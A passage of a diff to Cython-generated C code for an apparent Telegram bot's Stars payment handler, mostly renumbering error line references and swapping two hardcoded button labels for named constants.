__pyx_empty_tuple, __pyx_t_1); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 78, __pyx_L1_error) + __pyx_t_11 = __Pyx_PyObject_Call(__pyx_t_3, __pyx_empty_tuple, __pyx_t_1); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 80, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_11); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; - __Pyx_GetModuleGlobalName(__pyx_t_1, __pyx_n_s_InlineKeyboardButton); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 82, __pyx_L1_error) + __Pyx_GetModuleGlobalName(__pyx_t_1, __pyx_n_s_InlineKeyboardButton); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 84, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); - __pyx_t_3 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 83, __pyx_L1_error) + __pyx_t_3 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 85, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); - __Pyx_GetModuleGlobalName(__pyx_t_12, __pyx_n_s_PAYMENT_OPTIONS); if (unlikely(!__pyx_t_12)) __PYX_ERR(0, 83, __pyx_L1_error) + __Pyx_GetModuleGlobalName(__pyx_t_12, __pyx_n_s_PAYMENT_OPTIONS); if (unlikely(!__pyx_t_12)) __PYX_ERR(0, 85, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_12); - __pyx_t_13 = __Pyx_PyInt_AddObjC(__pyx_cur_scope->__pyx_v_i, __pyx_int_1, 1, 0, 0); if (unlikely(!__pyx_t_13)) __PYX_ERR(0, 83, __pyx_L1_error) + __pyx_t_13 = __Pyx_PyInt_AddObjC(__pyx_cur_scope->__pyx_v_i, __pyx_int_1, 1, 0, 0); if (unlikely(!__pyx_t_13)) __PYX_ERR(0, 85, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_13); - __pyx_t_14 = __Pyx_PyObject_GetItem(__pyx_t_12, __pyx_t_13); if (unlikely(!__pyx_t_14)) __PYX_ERR(0, 83, __pyx_L1_error) + __pyx_t_14 = __Pyx_PyObject_GetItem(__pyx_t_12, __pyx_t_13); if (unlikely(!__pyx_t_14)) __PYX_ERR(0, 85, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_14); __Pyx_DECREF(__pyx_t_12); __pyx_t_12 = 0; __Pyx_DECREF(__pyx_t_13); __pyx_t_13 = 0; - __pyx_t_13 = __Pyx_PyObject_Dict_GetItem(__pyx_t_14, __pyx_n_u_text); if (unlikely(!__pyx_t_13)) __PYX_ERR(0, 83, __pyx_L1_error) + __pyx_t_13 = __Pyx_PyObject_Dict_GetItem(__pyx_t_14, __pyx_n_u_text); if (unlikely(!__pyx_t_13)) __PYX_ERR(0, 85, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_13); __Pyx_DECREF(__pyx_t_14); __pyx_t_14 = 0; - if (PyDict_SetItem(__pyx_t_3, __pyx_n_s_text, __pyx_t_13) < 0) __PYX_ERR(0, 83, __pyx_L1_error) + if (PyDict_SetItem(__pyx_t_3, __pyx_n_s_text, __pyx_t_13) < 0) __PYX_ERR(0, 85, __pyx_L1_error) __Pyx_DECREF(__pyx_t_13); __pyx_t_13 = 0; - __Pyx_GetModuleGlobalName(__pyx_t_13, __pyx_n_s_PAYMENT_OPTIONS); if (unlikely(!__pyx_t_13)) __PYX_ERR(0, 84, __pyx_L1_error) + __Pyx_GetModuleGlobalName(__pyx_t_13, __pyx_n_s_PAYMENT_OPTIONS); if (unlikely(!__pyx_t_13)) __PYX_ERR(0, 86, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_13); - __pyx_t_14 = __Pyx_PyInt_AddObjC(__pyx_cur_scope->__pyx_v_i, __pyx_int_1, 1, 0, 0); if (unlikely(!__pyx_t_14)) __PYX_ERR(0, 84, __pyx_L1_error) + __pyx_t_14 = __Pyx_PyInt_AddObjC(__pyx_cur_scope->__pyx_v_i, __pyx_int_1, 1, 0, 0); if (unlikely(!__pyx_t_14)) __PYX_ERR(0, 86, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_14); - __pyx_t_12 = __Pyx_PyObject_GetItem(__pyx_t_13, __pyx_t_14); if (unlikely(!__pyx_t_12)) __PYX_ERR(0, 84, __pyx_L1_error) + __pyx_t_12 = __Pyx_PyObject_GetItem(__pyx_t_13, __pyx_t_14); if (unlikely(!__pyx_t_12)) __PYX_ERR(0, 86, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_12); __Pyx_DECREF(__pyx_t_13); __pyx_t_13 = 0; __Pyx_DECREF(__pyx_t_14); __pyx_t_14 = 0; - __pyx_t_14 = __Pyx_PyObject_Dict_GetItem(__pyx_t_12, __pyx_n_u_callback_data); if (unlikely(!__pyx_t_14)) __PYX_ERR(0, 84, __pyx_L1_error) + __pyx_t_14 = __Pyx_PyObject_Dict_GetItem(__pyx_t_12, __pyx_n_u_callback_data); if (unlikely(!__pyx_t_14)) __PYX_ERR(0, 86, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_14); __Pyx_DECREF(__pyx_t_12); __pyx_t_12 = 0; - __pyx_t_12 = __Pyx_PyObject_FormatSimple(__pyx_t_14, __pyx_empty_unicode); if (unlikely(!__pyx_t_12)) __PYX_ERR(0, 84, __pyx_L1_error) + __pyx_t_12 = __Pyx_PyObject_FormatSimple(__pyx_t_14, __pyx_empty_unicode); if (unlikely(!__pyx_t_12)) __PYX_ERR(0, 86, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_12); __Pyx_DECREF(__pyx_t_14); __pyx_t_14 = 0; - __pyx_t_14 = __Pyx_PyUnicode_Concat(__pyx_n_u_stars, __pyx_t_12); if (unlikely(!__pyx_t_14)) __PYX_ERR(0, 84, __pyx_L1_error) + __pyx_t_14 = __Pyx_PyUnicode_Concat(__pyx_n_u_stars, __pyx_t_12); if (unlikely(!__pyx_t_14)) __PYX_ERR(0, 86, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_14); __Pyx_DECREF(__pyx_t_12); __pyx_t_12 = 0; - if (PyDict_SetItem(__pyx_t_3, __pyx_n_s_callback_data, __pyx_t_14) < 0) __PYX_ERR(0, 83, __pyx_L1_error) + if (PyDict_SetItem(__pyx_t_3, __pyx_n_s_callback_data, __pyx_t_14) < 0) __PYX_ERR(0, 85, __pyx_L1_error) __Pyx_DECREF(__pyx_t_14); __pyx_t_14 = 0; - __pyx_t_14 = __Pyx_PyObject_Call(__pyx_t_1, __pyx_empty_tuple, __pyx_t_3); if (unlikely(!__pyx_t_14)) __PYX_ERR(0, 82, __pyx_L1_error) + __pyx_t_14 = __Pyx_PyObject_Call(__pyx_t_1, __pyx_empty_tuple, __pyx_t_3); if (unlikely(!__pyx_t_14)) __PYX_ERR(0, 84, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_14); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; @@ -5093,7 +5101,7 @@ static PyObject *__pyx_gb_8handlers_8payments_9stars_pay_8generator2(__pyx_Corou __Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_DECREF(__pyx_t_11); __pyx_t_11 = 0; __Pyx_DECREF(__pyx_t_14); __pyx_t_14 = 0; - if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 77, __pyx_L1_error) + if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 79, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; } @@ -5103,43 +5111,43 @@ static PyObject *__pyx_gb_8handlers_8payments_9stars_pay_8generator2(__pyx_Corou } /*else*/ { - __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_builder, __pyx_n_s_row); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 88, __pyx_L1_error) + __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_builder, __pyx_n_s_row); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 90, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); - __Pyx_GetModuleGlobalName(__pyx_t_14, __pyx_n_s_InlineKeyboardButton); if (unlikely(!__pyx_t_14)) __PYX_ERR(0, 89, __pyx_L1_error) + __Pyx_GetModuleGlobalName(__pyx_t_14, __pyx_n_s_InlineKeyboardButton); if (unlikely(!__pyx_t_14)) __PYX_ERR(0, 91, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_14); - __pyx_t_11 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 90, __pyx_L1_error) + __pyx_t_11 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 92, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_11); - __Pyx_GetModuleGlobalName(__pyx_t_3, __pyx_n_s_PAYMENT_OPTIONS); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 90, __pyx_L1_error) + __Pyx_GetModuleGlobalName(__pyx_t_3, __pyx_n_s_PAYMENT_OPTIONS); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 92, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); - __pyx_t_1 = __Pyx_PyObject_GetItem(__pyx_t_3, __pyx_cur_scope->__pyx_v_i); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 90, __pyx_L1_error) + __pyx_t_1 = __Pyx_PyObject_GetItem(__pyx_t_3, __pyx_cur_scope->__pyx_v_i); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 92, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; - __pyx_t_3 = __Pyx_PyObject_Dict_GetItem(__pyx_t_1, __pyx_n_u_text); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 90, __pyx_L1_error) + __pyx_t_3 = __Pyx_PyObject_Dict_GetItem(__pyx_t_1, __pyx_n_u_text); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 92, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; - if (PyDict_SetItem(__pyx_t_11, __pyx_n_s_text, __pyx_t_3) < 0) __PYX_ERR(0, 90, __pyx_L1_error) + if (PyDict_SetItem(__pyx_t_11, __pyx_n_s_text, __pyx_t_3) < 0) __PYX_ERR(0, 92, __pyx_L1_error) __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; - __Pyx_GetModuleGlobalName(__pyx_t_3, __pyx_n_s_PAYMENT_OPTIONS); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 91, __pyx_L1_error) + __Pyx_GetModuleGlobalName(__pyx_t_3, __pyx_n_s_PAYMENT_OPTIONS); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 93, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); - __pyx_t_1 = __Pyx_PyObject_GetItem(__pyx_t_3, __pyx_cur_scope->__pyx_v_i); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 91, __pyx_L1_error) + __pyx_t_1 = __Pyx_PyObject_GetItem(__pyx_t_3, __pyx_cur_scope->__pyx_v_i); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 93, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; - __pyx_t_3 = __Pyx_PyObject_Dict_GetItem(__pyx_t_1, __pyx_n_u_callback_data); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 91, __pyx_L1_error) + __pyx_t_3 = __Pyx_PyObject_Dict_GetItem(__pyx_t_1, __pyx_n_u_callback_data); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 93, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; - __pyx_t_1 = __Pyx_PyObject_FormatSimple(__pyx_t_3, __pyx_empty_unicode); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 91, __pyx_L1_error) + __pyx_t_1 = __Pyx_PyObject_FormatSimple(__pyx_t_3, __pyx_empty_unicode); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 93, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; - __pyx_t_3 = __Pyx_PyUnicode_Concat(__pyx_n_u_stars, __pyx_t_1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 91, __pyx_L1_error) + __pyx_t_3 = __Pyx_PyUnicode_Concat(__pyx_n_u_stars, __pyx_t_1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 93, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; - if (PyDict_SetItem(__pyx_t_11, __pyx_n_s_callback_data, __pyx_t_3) < 0) __PYX_ERR(0, 90, __pyx_L1_error) + if (PyDict_SetItem(__pyx_t_11, __pyx_n_s_callback_data, __pyx_t_3) < 0) __PYX_ERR(0, 92, __pyx_L1_error) __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; - __pyx_t_3 = __Pyx_PyObject_Call(__pyx_t_14, __pyx_empty_tuple, __pyx_t_11); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 89, __pyx_L1_error) + __pyx_t_3 = __Pyx_PyObject_Call(__pyx_t_14, __pyx_empty_tuple, __pyx_t_11); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 91, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_14); __pyx_t_14 = 0; __Pyx_DECREF(__pyx_t_11); __pyx_t_11 = 0; @@ -5162,7 +5170,7 @@ static PyObject *__pyx_gb_8handlers_8payments_9stars_pay_8generator2(__pyx_Corou __pyx_t_6 = __Pyx_PyObject_FastCall(__pyx_t_7, __pyx_callargs+1-__pyx_t_5, 1+__pyx_t_5); __Pyx_XDECREF(__pyx_t_11); __pyx_t_11 = 0; __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; - if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 88, __pyx_L1_error) + if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 90, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; } @@ -5173,18 +5181,21 @@ static PyObject *__pyx_gb_8handlers_8payments_9stars_pay_8generator2(__pyx_Corou } __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; - __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_builder, __pyx_n_s_row); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 94, __pyx_L1_error) + __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_builder, __pyx_n_s_row); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 96, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); - __Pyx_GetModuleGlobalName(__pyx_t_7, __pyx_n_s_InlineKeyboardButton); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 95, __pyx_L1_error) + __Pyx_GetModuleGlobalName(__pyx_t_7, __pyx_n_s_InlineKeyboardButton); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 97, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); - __pyx_t_3 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 96, __pyx_L1_error) + __pyx_t_3 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 98, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); - if (PyDict_SetItem(__pyx_t_3, __pyx_n_s_text, __pyx_kp_u__7) < 0) __PYX_ERR(0, 96, __pyx_L1_error) - if (PyDict_SetItem(__pyx_t_3, __pyx_n_s_callback_data, __pyx_n_u_enter_custom_amount_stars) < 0) __PYX_ERR(0, 96, __pyx_L1_error) + __Pyx_GetModuleGlobalName(__pyx_t_11, __pyx_n_s_CUSTOM_AMOUNT); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 98, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_11); + if (PyDict_SetItem(__pyx_t_3, __pyx_n_s_text, __pyx_t_11) < 0) __PYX_ERR(0, 98, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_11); __pyx_t_11 = 0; + if (PyDict_SetItem(__pyx_t_3, __pyx_n_s_callback_data, __pyx_n_u_enter_custom_amount_stars) < 0) __PYX_ERR(0, 98, __pyx_L1_error) - __pyx_t_11 = __Pyx_PyObject_Call(__pyx_t_7, __pyx_empty_tuple, __pyx_t_3); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 95, __pyx_L1_error) + __pyx_t_11 = __Pyx_PyObject_Call(__pyx_t_7, __pyx_empty_tuple, __pyx_t_3); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 97, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_11); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; @@ -5207,21 +5218,24 @@ static PyObject *__pyx_gb_8handlers_8payments_9stars_pay_8generator2(__pyx_Corou __pyx_t_4 = __Pyx_PyObject_FastCall(__pyx_t_6, __pyx_callargs+1-__pyx_t_5, 1+__pyx_t_5); __Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_DECREF(__pyx_t_11); __pyx_t_11 = 0; - if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 94, __pyx_L1_error) + if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 96, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; } __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; - __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_builder, __pyx_n_s_row); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 100, __pyx_L1_error) + __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_builder, __pyx_n_s_row); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 102, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); - __Pyx_GetModuleGlobalName(__pyx_t_11, __pyx_n_s_InlineKeyboardButton); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 100, __pyx_L1_error) + __Pyx_GetModuleGlobalName(__pyx_t_11, __pyx_n_s_InlineKeyboardButton); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 102, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_11); - __pyx_t_3 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 100, __pyx_L1_error) + __pyx_t_3 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 102, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); - if (PyDict_SetItem(__pyx_t_3, __pyx_n_s_text, __pyx_kp_u__8) < 0) __PYX_ERR(0, 100, __pyx_L1_error) - if (PyDict_SetItem(__pyx_t_3, __pyx_n_s_callback_data, __pyx_n_u_pay) < 0) __PYX_ERR(0, 100, __pyx_L1_error) - __pyx_t_7 = __Pyx_PyObject_Call(__pyx_t_11, __pyx_empty_tuple, __pyx_t_3); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 100, __pyx_L1_error) + __Pyx_GetModuleGlobalName(__pyx_t_7, __pyx_n_s_BACK); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 102, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_7); + if (PyDict_SetItem(__pyx_t_3, __pyx_n_s_text, __pyx_t_7) < 0) __PYX_ERR(0, 102, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; + if (PyDict_SetItem(__pyx_t_3, __pyx_n_s_callback_data, __pyx_n_u_pay) < 0) __PYX_ERR(0, 102, __pyx_L1_error) + __pyx_t_7 = __Pyx_PyObject_Call(__pyx_t_11, __pyx_empty_tuple, __pyx_t_3); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 102, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_11); __pyx_t_11 = 0; __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; @@ -5244,13 +5258,13 @@ static PyObject *__pyx_gb_8handlers_8payments_9stars_pay_8generator2(__pyx_Corou __pyx_t_4 = __Pyx_PyObject_FastCall(__pyx_t_6, __pyx_callargs+1-__pyx_t_5, 1+__pyx_t_5); __Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; - if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 100, __pyx_L1_error) + if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 102, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; } __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; - __Pyx_GetModuleGlobalName(__pyx_t_6, __pyx_n_s_get_key_count); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 103, __pyx_L1_error) + __Pyx_GetModuleGlobalName(__pyx_t_6, __pyx_n_s_get_key_count); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 105, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __pyx_t_7 = NULL; __pyx_t_5 = 0; @@ -5270,7 +5284,7 @@ static PyObject *__pyx_gb_8handlers_8payments_9stars_pay_8generator2(__pyx_Corou PyObject *__pyx_callargs[2] = {__pyx_t_7, __pyx_cur_scope->__pyx_v_tg_id}; __pyx_t_4 = __Pyx_PyObject_FastCall(__pyx_t_6, __pyx_callargs+1-__pyx_t_5, 1+__pyx_t_5); __Pyx_XDECREF(__pyx_t_7); __pyx_t_7 = 0; - if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 103, __pyx_L1_error) + if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 105, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; } @@ -5285,21 +5299,21 @@ static PyObject *__pyx_gb_8handlers_8payments_9stars_pay_8generator2(__pyx_Corou __pyx_generator->resume_label = 2; return __pyx_r; __pyx_L10_resume_from_await:; - if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 103, __pyx_L1_error) + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 105, __pyx_L1_error) __pyx_t_4 = __pyx_sent_value; __Pyx_INCREF(__pyx_t_4); } else { __pyx_t_4 = NULL; - if (__Pyx_PyGen_FetchStopIterationValue(&__pyx_t_4) < 0) __PYX_ERR(0, 103, __pyx_L1_error) + if (__Pyx_PyGen_FetchStopIterationValue(&__pyx_t_4) < 0) __PYX_ERR(0, 105, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); } __Pyx_GIVEREF(__pyx_t_4); __pyx_cur_scope->__pyx_v_key_count = __pyx_t_4; __pyx_t_4 = 0; - __pyx_t_2 = (__Pyx_PyInt_BoolEqObjC(__pyx_cur_scope->__pyx_v_key_count, __pyx_int_0, 0, 0)); if (unlikely((__pyx_t_2 < 0))) __PYX_ERR(0, 105, __pyx_L1_error) + __pyx_t_2 = (__Pyx_PyInt_BoolEqObjC(__pyx_cur_scope->__pyx_v_key_count, __pyx_int_0, 0, 0)); if (unlikely((__pyx_t_2 < 0))) __PYX_ERR(0, 107, __pyx_L1_error) if (__pyx_t_2) { - __Pyx_GetModuleGlobalName(__pyx_t_6, __pyx_n_s_check_connection_exists); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 106, __pyx_L1_error) + __Pyx_GetModuleGlobalName(__pyx_t_6, __pyx_n_s_check_connection_exists); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 108, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __pyx_t_7 = NULL; __pyx_t_5 = 0; @@ -5319,7 +5333,7 @@ static PyObject *__pyx_gb_8handlers_8payments_9stars_pay_8generator2(__pyx_Corou PyObject *__pyx_callargs[2] = {__pyx_t_7, __pyx_cur_scope->__pyx_v_tg_id}; __pyx_t_4 = __Pyx_PyObject_FastCall(__pyx_t_6, __pyx_callargs+1-__pyx_t_5, 1+__pyx_t_5); __Pyx_XDECREF(__pyx_t_7); __pyx_t_7 = 0; - if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 106, __pyx_L1_error) + if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 108, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; } @@ -5334,34 +5348,34 @@ static PyObject *__pyx_gb_8handlers_8payments_9stars_pay_8generator2(__pyx_Corou __pyx_generator->resume_label = 3; return __pyx_r; __pyx_L12_resume_from_await:; - if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 106, __pyx_L1_error) + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 108, __pyx_L1_error) __pyx_t_4 = __pyx_sent_value; __Pyx_INCREF(__pyx_t_4); } else { __pyx_t_4 = NULL; - if (__Pyx_PyGen_FetchStopIterationValue(&__pyx_t_4) < 0) __PYX_ERR(0, 106, __pyx_L1_error) + if (__Pyx_PyGen_FetchStopIterationValue(&__pyx_t_4) < 0) __PYX_ERR(0, 108, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); } __Pyx_GIVEREF(__pyx_t_4); __pyx_cur_scope->__pyx_v_exists = __pyx_t_4; __pyx_t_4 = 0; - __pyx_t_2 = __Pyx_PyObject_IsTrue(__pyx_cur_scope->__pyx_v_exists); if (unlikely((__pyx_t_2 < 0))) __PYX_ERR(0, 107, __pyx_L1_error) + __pyx_t_2 = __Pyx_PyObject_IsTrue(__pyx_cur_scope->__pyx_v_exists); if (unlikely((__pyx_t_2 < 0))) __PYX_ERR(0, 109, __pyx_L1_error) __pyx_t_15 = (!__pyx_t_2); if (__pyx_t_15) { - __Pyx_GetModuleGlobalName(__pyx_t_4, __pyx_n_s_add_connection); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 108, __pyx_L1_error) + __Pyx_GetModuleGlobalName(__pyx_t_4, __pyx_n_s_add_connection); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 110, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); - __pyx_t_6 = PyTuple_New(1); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 108, __pyx_L1_error) + __pyx_t_6 = PyTuple_New(1); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 110, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_INCREF(__pyx_cur_scope->__pyx_v_tg_id); __Pyx_GIVEREF(__pyx_cur_scope->__pyx_v_tg_id); - if (__Pyx_PyTuple_SET_ITEM(__pyx_t_6, 0, __pyx_cur_scope->__pyx_v_tg_id)) __PYX_ERR(0, 108, __pyx_L1_error); - __pyx_t_7 = __Pyx_PyDict_NewPresized(3); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 108, __pyx_L1_error) + if (__Pyx_PyTuple_SET_ITEM(__pyx_t_6, 0, __pyx_cur_scope->__pyx_v_tg_id)) __PYX_ERR(0, 110, __pyx_L1_error); + __pyx_t_7 = __Pyx_PyDict_NewPresized(3); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 110, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); - if (PyDict_SetItem(__pyx_t_7, __pyx_n_s_balance, __pyx_float_0_0) < 0) __PYX_ERR(0, 108, __pyx_L1_error) - if (PyDict_SetItem(__pyx_t_7, __pyx_n_s_trial, __pyx_int_0) < 0) __PYX_ERR(0, 108, __pyx_L1_error) - if (PyDict_SetItem(__pyx_t_7, __pyx_n_s_session, __pyx_cur_scope->__pyx_v_session) < 0) __PYX_ERR(0, 108, __pyx_L1_error) - __pyx_t_3 = __Pyx_PyObject_Call(__pyx_t_4, __pyx_t_6, __pyx_t_7); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 108, __pyx_L1_error) + if (PyDict_SetItem(__pyx_t_7, __pyx_n_s_balance, __pyx_float_0_0) < 0) __PYX_ERR(0, 110, __pyx_L1_error) + if (PyDict_SetItem(__pyx_t_7, __pyx_n_s_trial, __pyx_int_0) < 0) __PYX_ERR(0, 110, __pyx_L1_error) + if (PyDict_SetItem(__pyx_t_7, __pyx_n_s_session, __pyx_cur_scope->__pyx_v_session) < 0) __PYX_ERR(0, 110, __pyx_L1_error) + __pyx_t_3 = __Pyx_PyObject_Call(__pyx_t_4, __pyx_t_6, __pyx_t_7); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 110, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; @@ -5377,12 +5391,12 @@ static PyObject *__pyx_gb_8handlers_8payments_9stars_pay_8generator2(__pyx_Corou __pyx_generator->resume_label = 4; return __pyx_r; __pyx_L14_resume_from_await:; - if (unlikely(!__pyx_sent_value)) 